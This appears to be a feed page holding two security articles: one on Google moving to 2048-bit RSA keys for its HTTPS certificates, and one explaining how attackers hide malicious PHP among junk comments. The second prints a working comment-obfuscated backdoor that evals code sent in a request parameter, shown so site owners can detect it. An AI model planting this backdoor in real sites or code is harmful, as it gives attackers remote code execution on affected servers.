Google builds bigger crypto keys to make site forgeries harder

Google is upgrading the digital certificates used to secure its Gmail, Calendar, and Web search services. Beginning on August 1, the company will start upgrading the RSA keys used to encrypt Web traffic and authenticate to 2048-bits, twice as many as are used now.

The rollout affects the transport layer security (TLS) certificates that underpin HTTPS connections to Google properties. Sometimes involving the secure sockets layer (SSL) protocol, the technologies prevent attackers from reading the contents of traffic passing between end users and Google. They also provide a cryptographic assurance that servers claiming to be are in fact operated by Google, as opposed to being clones created by attackers exploiting age-old weaknesses in the way the Internet routes traffic.

There are good reasons for Google to upgrade the strength of these crucial digital keys. The weaker the key strength of an RSA key pair, the easier it is for anyone to mathematically derive the "private key." Such attacks work by taking the certificate's "public key" that's published on the website and factoring it to derive the two prime numbers that make up the private key. Once the private key for a Google certificate has been factored, the attacker can impersonate an HTTPS-protected Google server and provide the same indications of cryptographic security as the legitimate service. Someone who was able to derive the secret primes to Google's private key, for instance, would be able to create convincing attacks that would fool many browsers and e-mail clients.

Read 5 remaining paragraphs | Comments

Hackers Attempting To Hide Malicious Code in Files With Comments

When hackers add malicious code to a website’s files they often obfuscate it in some way. A simple method looks like this:


This method isn’t very effective as a method to disguise the code as the code will stick out and it is easy enough to do a search through all the files on a website for eval(base64_decode( and similar functions that are used, find matching code, and then undo obfuscation to check for malicious code. We sometimes see other methods are more effective, but more often than not the less effective ones are used. One other method that we have been seeing used a lot recently is hiding the code among numerous comments. Because comments are ignored when code is executed, the additional code only impacts someone trying to review the code. Here is one example of malicious code hidden among comments:

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/'j'/*!~Me*/./*-iBU&(*/'g'/*).5\l*/./*nt`jgl*/'k'/*@^j?*/./*\8Mw<^*/'vo'/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j'/*jMe*/./*(J&I8*/’g'/*(MJg:*/./*tj9-*/’k'/*79Y|yO*/./*ylwhw*/’vo’/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:[email protected]*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

It probably looks like a bunch of gibberish to you. But amongst the apparent gibberish is the malicious code (shown in bold):

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/'j'/*!~Me*/./*-iBU&(*/'g'/*).5\l*/./*nt`jgl*/'k'/*@^j?*/./*\8Mw<^*/'vo'/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j‘/*jMe*/./*(J&I8*/’g‘/*(MJg:*/./*tj9-*/’k‘/*79Y|yO*/./*ylwhw*/’vo‘/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:[email protected]*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

When the comments are stripped out you can see the code by itself:


That code is a simple backdoor that will execute the code from the variable “jgkvo” when it is sent to a web page that the malicious code is in.